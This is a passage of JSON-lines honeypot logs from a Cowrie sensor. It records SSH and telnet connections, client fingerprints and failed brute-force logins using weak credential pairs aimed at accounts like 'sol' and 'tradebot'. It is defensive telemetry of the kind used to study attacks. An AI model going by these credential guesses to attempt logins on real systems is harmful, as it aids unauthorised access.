,"aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:11:07.912819Z","src_ip":"195.178.110.218","session":"cd2df7b87c8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:11:08.152594Z","src_ip":"195.178.110.218","session":"cd2df7b87c8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:11:09.234843Z","src_ip":"195.178.110.218","session":"cd2df7b87c8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"1.222.180.22","src_port":4256,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c7303610683","protocol":"telnet","message":"New connection: 1.222.180.22:4256 (159.203.135.109:23) [session: 6c7303610683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:11:11.781353Z"}
{"eventid":"cowrie.session.closed","duration":13.748650074005127,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:11:25.529913Z","src_ip":"1.222.180.22","session":"6c7303610683","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":42802,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c6eef26713f","protocol":"ssh","message":"New connection: 92.118.39.92:42802 (159.203.135.109:22) [session: 3c6eef26713f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:12:18.239107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:12:18.243367Z","src_ip":"92.118.39.92","session":"3c6eef26713f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:12:18.344220Z","src_ip":"92.118.39.92","session":"3c6eef26713f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trade.bot","password":"trade","message":"login attempt [trade.bot/trade] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:12:18.644029Z","src_ip":"92.118.39.92","session":"3c6eef26713f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:12:19.745332Z","src_ip":"92.118.39.92","session":"3c6eef26713f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.72","src_port":47766,"dst_ip":"159.203.135.109","dst_port":22,"session":"38bb058342ff","protocol":"ssh","message":"New connection: 92.118.39.72:47766 (159.203.135.109:22) [session: 38bb058342ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:12:22.347115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:12:22.351156Z","src_ip":"92.118.39.72","session":"38bb058342ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:12:22.452065Z","src_ip":"92.118.39.72","session":"38bb058342ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:12:22.753031Z","src_ip":"92.118.39.72","session":"38bb058342ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:12:23.855052Z","src_ip":"92.118.39.72","session":"38bb058342ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":59830,"dst_ip":"10.17.0.5","dst_port":22,"session":"47713339a9e5","protocol":"ssh","message":"New connection: 80.94.92.184:59830 (10.17.0.5:22) [session: 47713339a9e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:12:50.783927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:12:50.914304Z","src_ip":"80.94.92.184","session":"47713339a9e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:12:50.918157Z","src_ip":"80.94.92.184","session":"47713339a9e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1","message":"login attempt [sol/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:12:52.692329Z","src_ip":"80.94.92.184","session":"47713339a9e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:12:53.867388Z","src_ip":"80.94.92.184","session":"47713339a9e5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","size":303,"shasum":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","duplicate":true,"duration":"180.0","message":"Closing TTY Log: var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 after 180.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:13:14.051371Z","src_ip":"103.253.21.150","session":"e82a4e996f34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":180.70854258537292,"message":"Connection lost after 180 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:13:14.059881Z","src_ip":"103.253.21.150","session":"e82a4e996f34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":40196,"dst_ip":"10.17.0.5","dst_port":22,"session":"322bc95469db","protocol":"ssh","message":"New connection: 195.178.110.218:40196 (10.17.0.5:22) [session: 322bc95469db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:13:40.774372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:13:40.780569Z","src_ip":"195.178.110.218","session":"322bc95469db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:13:40.850168Z","src_ip":"195.178.110.218","session":"322bc95469db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123456","message":"login attempt [sol/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:13:41.141326Z","src_ip":"195.178.110.218","session":"322bc95469db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:13:42.218366Z","src_ip":"195.178.110.218","session":"322bc95469db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":58246,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e1a2164cc1b","protocol":"ssh","message":"New connection: 92.118.39.92:58246 (159.203.135.109:22) [session: 7e1a2164cc1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:14:25.560918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:14:25.564445Z","src_ip":"92.118.39.92","session":"7e1a2164cc1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:14:25.699108Z","src_ip":"92.118.39.92","session":"7e1a2164cc1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tradebot","password":"bot","message":"login attempt [tradebot/bot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:14:26.038759Z","src_ip":"92.118.39.92","session":"7e1a2164cc1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:14:27.145256Z","src_ip":"92.118.39.92","session":"7e1a2164cc1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.72","src_port":57672,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0c85609a2e2","protocol":"ssh","message":"New connection: 92.118.39.72:57672 (159.203.135.109:22) [session: c0c85609a2e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:14:34.434468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:14:34.443425Z","src_ip":"92.118.39.72","session":"c0c85609a2e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:14:34.547595Z","src_ip":"92.118.39.72","session":"c0c85609a2e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:14:34.859811Z","src_ip":"92.118.39.72","session":"c0c85609a2e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:14:35.966401Z","src_ip":"92.118.39.72","session":"c0c85609a2e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":34342,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e5bca14b537","protocol":"ssh","message":"New connection: 80.94.92.184:34342 (10.17.0.5:22) [session: 2e5bca14b537]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:15:52.645811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:15:53.018881Z","src_ip":"80.94.92.184","session":"2e5bca14b537","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:15:53.022685Z","src_ip":"80.94.92.184","session":"2e5bca14b537","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"Sol","message":"login attempt [sol/Sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:15:53.732969Z","src_ip":"80.94.92.184","session":"2e5bca14b537","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:15:55.200613Z","src_ip":"80.94.92.184","session":"2e5bca14b537","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":48758,"dst_ip":"10.17.0.5","dst_port":22,"session":"07d8fc1ae6ed","protocol":"ssh","message":"New connection: 195.178.110.218:48758 (10.17.0.5:22) [session: 07d8fc1ae6ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:16:23.527172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:16:23.531257Z","src_ip":"195.178.110.218","session":"07d8fc1ae6ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chach